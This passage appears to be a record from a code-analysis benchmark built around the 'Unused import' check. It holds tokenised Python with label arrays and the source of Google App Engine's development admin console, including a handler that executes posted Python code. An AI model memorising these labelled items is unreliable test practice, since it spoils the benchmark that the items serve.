"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "saved", "\\u", "file_", "._", "write_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "saved", "\\u", "file_", "._", "seek_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "saved", "\\u", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache_", "(_", "Base", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "upload", "\\u", "zip_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "saved", "\\u", "file_", "=_", "self_", "._", "\\u", "get", "\\u", "upload", "\\u", "file_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "uploade", "d\\u", "zip_", "=_", "zipfile_", "._", "Zip", "File_", "(_", "saved", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mark", "\\u", "with", "\\u", "error_", "(_", "\\u_", "(_", "\"", "Error", " ", "opening", " ", "file", " ", "as", " ", "zip", " ", "file", ":", " ", "%", "s", "\"_", "%_", "e_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "uploade", "d\\u", "zip_", "._", "test", "zip_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mark", "\\u", "with", "\\u", "error_", "(_", "\\u_", "(_", "\"", "Error", " ", "encounter", "ed", " ", "process", "ing", " ", "Zip", " ", "File", ".", " ", "File", " ", "doe", "sn", "'", "t", " ", "look", " ", "valid", ".\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "uploade", "d\\u", "zip_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache_", "(_", "Base", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "cache", "\\u", "key_", "(_", "cls_", ",_", "process", "ing", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "MM", "BUL", "K", "\\u", "%", "s", "\"_", "%_", "process", "ing", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache", "Nf", "s_", "(_", "Bul", "k", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache", "Nf", "s_", "(_", "Bul", "k", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "process", "ing", "\\u", "id_", ",_", "file", "\\u", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Bul", "k", "Multi", "media", "Status", "Cache", "Nf", "s_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "process", "ing", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "file", "\\u", "path_", "=_", "file", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bul", "k", "Multi", "media", "Status", "Cache", "Nf", "s_", "(_", "Bul", "k", "Multi", "media", "Status", "Cache_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "upload", "\\u", "file_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "file", "\\u", "path_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
CollabQ/CollabQ/.google_appengine/google/appengine/ext/admin/__init__.py
[ { "content": "#!/usr/bin/env python\n#\n# Copyright 2007 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\"\"\"Simple datastore view and interactive console, for use in dev_appserver.\"\"\"\n\n\n\n\n\nimport cgi\nimport csv\nimport cStringIO\nimport datetime\nimport logging\nimport math\nimport mimetypes\nimport os\nimport os.path\nimport pickle\nimport pprint\nimport random\nimport sys\nimport time\nimport traceback\nimport types\nimport urllib\nimport urlparse\nimport wsgiref.handlers\n\ntry:\n from google.appengine.cron import groctimespecification\n from google.appengine.api import croninfo\nexcept ImportError:\n HAVE_CRON = False\nelse:\n HAVE_CRON = True\n\nfrom google.appengine.api import apiproxy_stub_map\nfrom google.appengine.api import datastore\nfrom google.appengine.api import datastore_admin\nfrom google.appengine.api import datastore_types\nfrom google.appengine.api import datastore_errors\nfrom google.appengine.api import memcache\nfrom google.appengine.api.labs import taskqueue\nfrom google.appengine.api import users\nfrom google.appengine.ext import db\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp import template\n\n_DEBUG = True\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n_DATA_TYPES = {\n types.NoneType: NoneType(),\n types.StringType: StringType(),\n types.UnicodeType: StringType(),\n datastore_types.Text: TextType(),\n datastore_types.Blob: BlobType(),\n types.BooleanType: BoolType(),\n types.IntType: IntType(),\n types.LongType: LongType(),\n types.FloatType: FloatType(),\n datetime.datetime: TimeType(),\n users.User: UserType(),\n datastore_types.Key: ReferenceType(),\n types.ListType: ListType(),\n datastore_types.Email: EmailType(),\n datastore_types.Category: CategoryType(),\n datastore_types.Link: LinkType(),\n datastore_types.GeoPt: GeoPtType(),\n datastore_types.IM: ImType(),\n datastore_types.PhoneNumber: PhoneNumberType(),\n datastore_types.PostalAddress: PostalAddressType(),\n datastore_types.Rating: RatingType(),\n datastore_types.BlobKey: BlobKeyType(),\n}\n\n_NAMED_DATA_TYPES = {}\nfor data_type in _DATA_TYPES.values():\n _NAMED_DATA_TYPES[data_type.name()] = data_type\n\n\n\n\n\n\n\n\nimport django\nif django.VERSION[:2] < (0, 97):\n from django.template import defaultfilters\n defaultfilters.register.filter(\"safe\", safe)\n\n\nif __name__ == '__main__':\n main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class ImageHandler(webapp.RequestHandler):\n \"\"\"Serves a static image.\n\n This exists because we don't want to burden the user with specifying\n a static file handler for the image resources used by the admin tool.\n \"\"\"\n\n PATH = '/images/.*'\n", "metadata": "root.ImageHandler", "header": "['module', '___EOS___']", "index": 66 }, { "content": " def get(self):\n image_name = os.path.basename(self.request.path)\n content_type, encoding = mimetypes.guess_type(image_name)\n if not content_type or not content_type.startswith('image/'):\n logging.debug('image_name=%r, content_type=%r, encoding=%r',\n image_name, content_type, encoding)\n self.error(404)\n return\n directory = os.path.dirname(__file__)\n path = os.path.join(directory, 'templates', 'images', image_name)\n try:\n image_stream = open(path, 'rb')\n except IOError, e:\n logging.error('Cannot open image %s: %s', image_name, e)\n self.error(404)\n return\n try:\n image_data = image_stream.read()\n finally:\n image_stream.close()\n self.response.headers['Content-Type'] = content_type\n self.response.out.write(image_data)", "metadata": "root.ImageHandler.get", "header": "['class', 'ImageHandler', '(', 'webapp', '.', 'RequestHandler', ')', ':', '___EOS___']", "index": 75 }, { "content": "class BaseRequestHandler(webapp.RequestHandler):\n \"\"\"Supplies a common template generation function.\n\n When you call generate(), we augment the template variables supplied with\n the current user in the 'user' variable and the current webapp request\n in the 'request' variable.\n \"\"\"\n\n\n\n", "metadata": "root.BaseRequestHandler", "header": "['module', '___EOS___']", "index": 99 }, { "content": " def generate(self, template_name, template_values={}):\n base_path = self.base_path()\n values = {\n 'application_name': self.request.environ['APPLICATION_ID'],\n 'user': users.get_current_user(),\n 'request': self.request,\n 'home_path': base_path + DefaultPageHandler.PATH,\n 'datastore_path': base_path + DatastoreQueryHandler.PATH,\n 'datastore_edit_path': base_path + DatastoreEditHandler.PATH,\n 'datastore_batch_edit_path': base_path + DatastoreBatchEditHandler.PATH,\n 'interactive_path': base_path + InteractivePageHandler.PATH,\n 'interactive_execute_path': base_path + InteractiveExecuteHandler.PATH,\n 'memcache_path': base_path + MemcachePageHandler.PATH,\n 'queues_path': base_path + QueuesPageHandler.PATH,\n 'xmpp_path': base_path + XMPPPageHandler.PATH,\n 'inboundmail_path': base_path + InboundMailPageHandler.PATH,\n }\n if HAVE_CRON:\n values['cron_path'] = base_path + CronPageHandler.PATH\n\n values.update(template_values)\n directory = os.path.dirname(__file__)\n path = os.path.join(directory, os.path.join('templates', template_name))\n self.response.out.write(template.render(path, values, debug=_DEBUG))", "metadata": "root.BaseRequestHandler.generate", "header": "['class', 'BaseRequestHandler', '(', 'webapp', '.', 'RequestHandler', ')', ':', '___EOS___']", "index": 107 }, { "content": " def base_path(self):\n \"\"\"Returns the base path of this admin app, which is chosen by the user.\n\n The user specifies which paths map to this application in their app.cfg.\n You can get that base path with this method. Combine with the constant\n paths specified by the classes to construct URLs.\n \"\"\"\n path = self.__class__.PATH\n return self.request.path[:-len(path)]", "metadata": "root.BaseRequestHandler.base_path", "header": "['class', 'BaseRequestHandler', '(', 'webapp', '.', 'RequestHandler', ')', ':', '___EOS___']", "index": 132 }, { "content": " def filter_url(self, args):\n \"\"\"Filters the current URL to only have the given list of arguments.\n\n For example, if your URL is /search?q=foo&num=100&start=10, then\n\n self.filter_url(['start', 'num']) => /search?num=100&start=10\n self.filter_url(['q']) => /search?q=10\n self.filter_url(['random']) => /search?\n\n \"\"\"\n queries = []\n for arg in args:\n value = self.request.get(arg)\n if value:\n queries.append(arg + '=' + urllib.quote_plus(self.request.get(arg)))\n return self.request.path + '?' + '&'.join(queries)", "metadata": "root.BaseRequestHandler.filter_url", "header": "['class', 'BaseRequestHandler', '(', 'webapp', '.', 'RequestHandler', ')', ':', '___EOS___']", "index": 142 }, { "content": " def in_production(self):\n \"\"\"Detects if app is running in production.\n\n Returns a boolean.\n \"\"\"\n server_software = os.environ['SERVER_SOFTWARE']\n return not server_software.startswith('Development')", "metadata": "root.BaseRequestHandler.in_production", "header": "['class', 'BaseRequestHandler', '(', 'webapp', '.', 'RequestHandler', ')', ':', '___EOS___']", "index": 159 }, { "content": "class DefaultPageHandler(BaseRequestHandler):\n \"\"\"Redirects to the Datastore application by default.\"\"\"\n\n PATH = '/'\n", "metadata": "root.DefaultPageHandler", "header": "['module', '___EOS___']", "index": 168 }, { "content": " def get(self):\n if self.request.path.endswith('/'):\n base = self.request.path[:-1]\n else:\n base = self.request.path\n self.redirect(base + DatastoreQueryHandler.PATH)", "metadata": "root.DefaultPageHandler.get", "header": "['class', 'DefaultPageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 173 }, { "content": "class InteractivePageHandler(BaseRequestHandler):\n \"\"\"Shows our interactive console HTML.\"\"\"\n PATH = '/interactive'\n", "metadata": "root.InteractivePageHandler", "header": "['module', '___EOS___']", "index": 181 }, { "content": " def get(self):\n self.generate('interactive.html')", "metadata": "root.InteractivePageHandler.get", "header": "['class', 'InteractivePageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 185 }, { "content": "class InteractiveExecuteHandler(BaseRequestHandler):\n \"\"\"Executes the Python code submitted in a POST within this context.\n\n For obvious reasons, this should only be available to administrators\n of the applications.\n \"\"\"\n\n PATH = InteractivePageHandler.PATH + '/execute'\n", "metadata": "root.InteractiveExecuteHandler", "header": "['module', '___EOS___']", "index": 189 }, { "content": " def post(self):\n save_stdout = sys.stdout\n results_io = cStringIO.StringIO()\n try:\n sys.stdout = results_io\n\n code = self.request.get('code')\n code = code.replace(\"\\r\\n\", \"\\n\")\n\n try:\n compiled_code = compile(code, '<string>', 'exec')\n exec(compiled_code, globals())\n except Exception, e:\n traceback.print_exc(file=results_io)\n finally:\n sys.stdout = save_stdout\n\n results = results_io.getvalue()\n self.generate('interactive-output.html', {'output': results})", "metadata": "root.InteractiveExecuteHandler.post", "header": "['class', 'InteractiveExecuteHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 198 }, { "content": "class CronPageHandler(BaseRequestHandler):\n \"\"\"Shows information about configured cron jobs in this application.\"\"\"\n PATH = '/cron'\n", "metadata": "root.CronPageHandler", "header": "['module', '___EOS___']", "index": 219 }, { "content": " def get(self, now=None):\n \"\"\"Shows template displaying the configured cron jobs.\"\"\"\n if not now:\n now = datetime.datetime.now()\n values = {'request': self.request}\n cron_info = _ParseCronYaml()\n values['cronjobs'] = []\n values['now'] = str(now)\n if cron_info and cron_info.cron:\n for entry in cron_info.cron:\n job = {}\n values['cronjobs'].append(job)\n if entry.description:\n job['description'] = entry.description\n else:\n job['description'] = '(no description)'\n if entry.timezone:\n job['timezone'] = entry.timezone\n job['url'] = entry.url\n job['schedule'] = entry.schedule\n schedule = groctimespecification.GrocTimeSpecification(entry.schedule)\n matches = schedule.GetMatches(now, 3)\n job['times'] = []\n for match in matches:\n job['times'].append({'runtime': match.strftime(\"%Y-%m-%d %H:%M:%SZ\"),\n 'difference': str(match - now)})\n self.generate('cron.html', values)", "metadata": "root.CronPageHandler.get", "header": "['class', 'CronPageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 223 }, { "content": "class XMPPPageHandler(BaseRequestHandler):\n \"\"\"Tests XMPP requests.\"\"\"\n PATH = '/xmpp'\n", "metadata": "root.XMPPPageHandler", "header": "['module', '___EOS___']", "index": 252 }, { "content": " def get(self):\n \"\"\"Shows template displaying the XMPP.\"\"\"\n xmpp_configured = True\n values = {\n 'xmpp_configured': xmpp_configured,\n 'request': self.request\n }\n self.generate('xmpp.html', values)", "metadata": "root.XMPPPageHandler.get", "header": "['class', 'XMPPPageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 256 }, { "content": "class InboundMailPageHandler(BaseRequestHandler):\n \"\"\"Tests Mail requests.\"\"\"\n PATH = '/inboundmail'\n", "metadata": "root.InboundMailPageHandler", "header": "['module', '___EOS___']", "index": 266 }, { "content": " def get(self):\n \"\"\"Shows template displaying the Inbound Mail form.\"\"\"\n inboundmail_configured = True\n values = {\n 'inboundmail_configured': inboundmail_configured,\n 'request': self.request\n }\n self.generate('inboundmail.html', values)", "metadata": "root.InboundMailPageHandler.get", "header": "['class', 'InboundMailPageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 270 }, { "content": "class QueuesPageHandler(BaseRequestHandler):\n \"\"\"Shows information about configured (and default) task queues.\"\"\"\n PATH = '/queues'\n\n\n", "metadata": "root.QueuesPageHandler", "header": "['module', '___EOS___']", "index": 280 }, { "content": " def __init__(self):\n self.stub = apiproxy_stub_map.apiproxy.GetStub('taskqueue')", "metadata": "root.QueuesPageHandler.__init__", "header": "['class', 'QueuesPageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 284 }, { "content": " def get(self):\n \"\"\"Shows template displaying the configured task queues.\"\"\"\n values = {\n 'request': self.request,\n 'queues': self.stub.GetQueues(),\n }\n self.generate('queues.html', values)", "metadata": "root.QueuesPageHandler.get", "header": "['class', 'QueuesPageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 287 }, { "content": " def post(self):\n \"\"\"Handle modifying actions and/or redirect to GET page.\"\"\"\n\n if self.request.get('action:flushqueue'):\n self.stub.FlushQueue(self.request.get('queue'))\n self.redirect(self.request.path_url)", "metadata": "root.QueuesPageHandler.post", "header": "['class', 'QueuesPageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 295 }, { "content": "class TasksPageHandler(BaseRequestHandler):\n \"\"\"Shows information about a queue's tasks.\"\"\"\n\n PATH = '/tasks'\n\n PAGE_SIZE = 20\n\n\n", "metadata": "root.TasksPageHandler", "header": "['module', '___EOS___']", "index": 303 }, { "content": " def __init__(self):\n self.stub = apiproxy_stub_map.apiproxy.GetStub('taskqueue')", "metadata": "root.TasksPageHandler.__init__", "header": "['class', 'TasksPageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 310 }, { "content": " def get(self):\n \"\"\"Shows template displaying the queue's tasks.\"\"\"\n queue = self.request.get('queue')\n start = int(self.request.get('start', 0))\n all_tasks = self.stub.GetTasks(queue)\n\n next_start = start + self.PAGE_SIZE\n tasks = all_tasks[start:next_start]\n current_page = int(start / self.PAGE_SIZE) + 1\n pages = []\n for number in xrange(int(math.ceil(len(all_tasks) /\n float(self.PAGE_SIZE)))):\n pages.append({\n 'number': number + 1,\n 'start': number * self.PAGE_SIZE\n })\n if not all_tasks[next_start:]:\n next_start = -1\n prev_start = start - self.PAGE_SIZE\n if prev_start < 0:\n prev_start = -1\n\n values = {\n 'request': self.request,\n 'queue_name': queue,\n 'tasks': tasks,\n 'start_base_url': self.filter_url(['queue']),\n 'prev_start': prev_start,\n 'next_start': next_start,\n 'pages': pages,\n 'current_page': current_page,\n }\n self.generate('tasks.html', values)", "metadata": "root.TasksPageHandler.get", "header": "['class', 'TasksPageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 313 }, { "content": " def post(self):\n if self.request.get('action:deletetask'):\n self.stub.DeleteTask(self.request.get('queue'), self.request.get('task'))\n self.redirect(self.request.path_url + '?queue=' + self.request.get('queue'))\n return", "metadata": "root.TasksPageHandler.post", "header": "['class', 'TasksPageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 347 }, { "content": "class MemcachePageHandler(BaseRequestHandler):\n \"\"\"Shows stats about memcache and query form to get values.\"\"\"\n PATH = '/memcache'\n\n TYPES = ((str, str, 'String'),\n (unicode, unicode, 'Unicode String'),\n (bool, lambda value: MemcachePageHandler._ToBool(value), 'Boolean'),\n (int, int, 'Integer'),\n (long, long, 'Long Integer'),\n (float, float, 'Float'))\n DEFAULT_TYPESTR_FOR_NEW = 'String'\n\n\n\n\n\n", "metadata": "root.MemcachePageHandler", "header": "['module', '___EOS___']", "index": 354 }, { "content": " @staticmethod\n def _ToBool(string_value):\n \"\"\"Convert string to boolean value.\n\n Args:\n string_value: A string.\n\n Returns:\n Boolean. True if string_value is \"true\", False if string_value is\n \"false\". This is case-insensitive.\n\n Raises:\n ValueError: string_value not \"true\" or \"false\".\n \"\"\"\n string_value_low = string_value.lower()\n if string_value_low not in ('false', 'true'):\n raise ValueError('invalid literal for boolean: %s' % string_value)\n return string_value_low == 'true'", "metadata": "root.MemcachePageHandler._ToBool", "header": "['class', 'MemcachePageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 366 }, { "content": " def _GetValueAndType(self, key):\n \"\"\"Fetch value from memcache and detect its type.\n\n Args:\n key: String\n\n Returns:\n (value, type), value is a Python object or None if the key was not set in\n the cache, type is a string describing the type of the value.\n \"\"\"\n try:\n value = memcache.get(key)\n except (pickle.UnpicklingError, AttributeError, EOFError, ImportError,\n IndexError), e:\n msg = 'Failed to retrieve value from cache: %s' % e\n return msg, 'error'\n\n if value is None:\n return None, self.DEFAULT_TYPESTR_FOR_NEW\n\n for typeobj, _, typestr in self.TYPES:\n if isinstance(value, typeobj):\n break\n else:\n typestr = 'pickled'\n value = pprint.pformat(value, indent=2)\n\n return value, typestr", "metadata": "root.MemcachePageHandler._GetValueAndType", "header": "['class', 'MemcachePageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 385 }, { "content": " def _SetValue(self, key, type_, value):\n \"\"\"Convert a string value and store the result in memcache.\n\n Args:\n key: String\n type_: String, describing what type the value should have in the cache.\n value: String, will be converted according to type_.\n\n Returns:\n Result of memcache.set(ket, converted_value). True if value was set.\n\n Raises:\n ValueError: Value can't be converted according to type_.\n \"\"\"\n for _, converter, typestr in self.TYPES:\n if typestr == type_:\n value = converter(value)\n break\n else:\n raise ValueError('Type %s not supported.' % type_)\n return memcache.set(key, value)", "metadata": "root.MemcachePageHandler._SetValue", "header": "['class', 'MemcachePageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 414 }, { "content": " def get(self):\n \"\"\"Show template and prepare stats and/or key+value to display/edit.\"\"\"\n values = {'request': self.request,\n 'message': self.request.get('message')}\n\n edit = self.request.get('edit')\n key = self.request.get('key')\n if edit:\n key = edit\n values['show_stats'] = False\n values['show_value'] = False\n values['show_valueform'] = True\n values['types'] = [typestr for _, _, typestr in self.TYPES]\n elif key:\n values['show_stats'] = True\n values['show_value'] = True\n values['show_valueform'] = False\n else:\n values['show_stats'] = True\n values['show_valueform'] = False\n values['show_value'] = False\n\n if key:\n values['key'] = key\n values['value'], values['type'] = self._GetValueAndType(key)\n values['key_exists'] = values['value'] is not None\n\n if values['type'] in ('pickled', 'error'):\n values['writable'] = False\n else:\n values['writable'] = True\n\n if values['show_stats']:\n memcache_stats = memcache.get_stats()\n if not memcache_stats:\n memcache_stats = {'hits': 0, 'misses': 0, 'byte_hits': 0, 'items': 0,\n 'bytes': 0, 'oldest_item_age': 0}\n values['stats'] = memcache_stats\n try:\n hitratio = memcache_stats['hits'] * 100 / (memcache_stats['hits']\n + memcache_stats['misses'])\n except ZeroDivisionError:\n hitratio = 0\n values['hitratio'] = hitratio\n delta_t = datetime.timedelta(seconds=memcache_stats['oldest_item_age'])\n values['oldest_item_age'] = datetime.datetime.now() - delta_t\n\n self.generate('memcache.html', values)", "metadata": "root.MemcachePageHandler.get", "header": "['class', 'MemcachePageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 436 }, { "content": " def _urlencode(self, query):\n \"\"\"Encode a dictionary into a URL query string.\n\n In contrast to urllib this encodes unicode characters as UTF8.\n\n Args:\n query: Dictionary of key/value pairs.\n\n Returns:\n String.\n \"\"\"\n return '&'.join('%s=%s' % (urllib.quote_plus(k.encode('utf8')),\n urllib.quote_plus(v.encode('utf8')))\n for k, v in query.iteritems())", "metadata": "root.MemcachePageHandler._urlencode", "header": "['class', 'MemcachePageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 485 }, { "content": " def post(self):\n \"\"\"Handle modifying actions and/or redirect to GET page.\"\"\"\n next_param = {}\n\n if self.request.get('action:flush'):\n if memcache.flush_all():\n next_param['message'] = 'Cache flushed, all keys dropped.'\n else:\n next_param['message'] = 'Flushing the cache failed. Please try again.'\n\n elif self.request.get('action:display'):\n next_param['key'] = self.request.get('key')\n\n elif self.request.get('action:edit'):\n next_param['edit'] = self.request.get('key')\n\n elif self.request.get('action:delete'):\n key = self.request.get('key')\n result = memcache.delete(key)\n if result == memcache.DELETE_NETWORK_FAILURE:\n next_param['message'] = ('ERROR: Network failure, key \"%s\" not deleted.'\n % key)\n elif result == memcache.DELETE_ITEM_MISSING:\n next_param['message'] = 'Key \"%s\" not in cache.' % key\n elif result == memcache.DELETE_SUCCESSFUL:\n next_param['message'] = 'Key \"%s\" deleted.' % key\n else:\n next_param['message'] = ('Unknown return value. Key \"%s\" might still '\n 'exist.' % key)\n\n elif self.request.get('action:save'):\n key = self.request.get('key')\n value = self.request.get('value')\n type_ = self.request.get('type')\n next_param['key'] = key\n try:\n if self._SetValue(key, type_, value):\n next_param['message'] = 'Key \"%s\" saved.' % key\n else:\n next_param['message'] = 'ERROR: Failed to save key \"%s\".' % key\n except ValueError, e:\n next_param['message'] = 'ERROR: Unable to encode value: %s' % e\n\n elif self.request.get('action:cancel'):\n next_param['key'] = self.request.get('key')\n\n else:\n next_param['message'] = 'Unknown action.'\n\n next = self.request.path_url\n if next_param:\n next = '%s?%s' % (next, self._urlencode(next_param))\n self.redirect(next)", "metadata": "root.MemcachePageHandler.post", "header": "['class', 'MemcachePageHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 500 }, { "content": "class DatastoreRequestHandler(BaseRequestHandler):\n \"\"\"The base request handler for our datastore admin pages.\n\n We provide utility functions for quering the datastore and infering the\n types of entity properties.\n \"\"\"\n\n\n\n", "metadata": "root.DatastoreRequestHandler", "header": "['module', '___EOS___']", "index": 555 }, { "content": " def start(self):\n \"\"\"Returns the santized \"start\" argument from the URL.\"\"\"\n return self.request.get_range('start', min_value=0, default=0)", "metadata": "root.DatastoreRequestHandler.start", "header": "['class', 'DatastoreRequestHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 562 }, { "content": " def num(self):\n \"\"\"Returns the sanitized \"num\" argument from the URL.\"\"\"\n return self.request.get_range('num', min_value=1, max_value=100,\n default=10)", "metadata": "root.DatastoreRequestHandler.num", "header": "['class', 'DatastoreRequestHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 566 }, { "content": " def execute_query(self, start=0, num=0, no_order=False):\n \"\"\"Parses the URL arguments and executes the query.\n\n We return a tuple (list of entities, total entity count).\n\n If the appropriate URL arguments are not given, we return an empty\n set of results and 0 for the entity count.\n \"\"\"\n kind = self.request.get('kind')\n if not kind:\n return ([], 0)\n query = datastore.Query(kind)\n\n order = self.request.get('order')\n order_type = self.request.get('order_type')\n if order and order_type:\n order_type = DataType.get_by_name(order_type).python_type()\n if order.startswith('-'):\n direction = datastore.Query.DESCENDING\n order = order[1:]\n else:\n direction = datastore.Query.ASCENDING\n try:\n query.Order((order, order_type, direction))\n except datastore_errors.BadArgumentError:\n pass\n\n if not start:\n start = self.start()\n if not num:\n num = self.num()\n total = query.Count()\n entities = query.Get(start + num)[start:]\n return (entities, total)", "metadata": "root.DatastoreRequestHandler.execute_query", "header": "['class', 'DatastoreRequestHandler', '(', 'BaseRequestHandler', ')', ':', '___EOS___']", "index": 571 }, { "content": " def get_key_values(self, entities):\n \"\"\"Returns the union of key names used by the given list of entities.\n\n We return the union as a dictionary mapping the key names to a sample\n value from one of the entities for the key name.\n \"\"\"\n key_dict = {}\n for entity in entities:\n for key, value in entity.iteritems():\n if key_dict.has_key(key):\n key_dict[key].append(value)\n else:\n key_dict[key] = [value]\n return 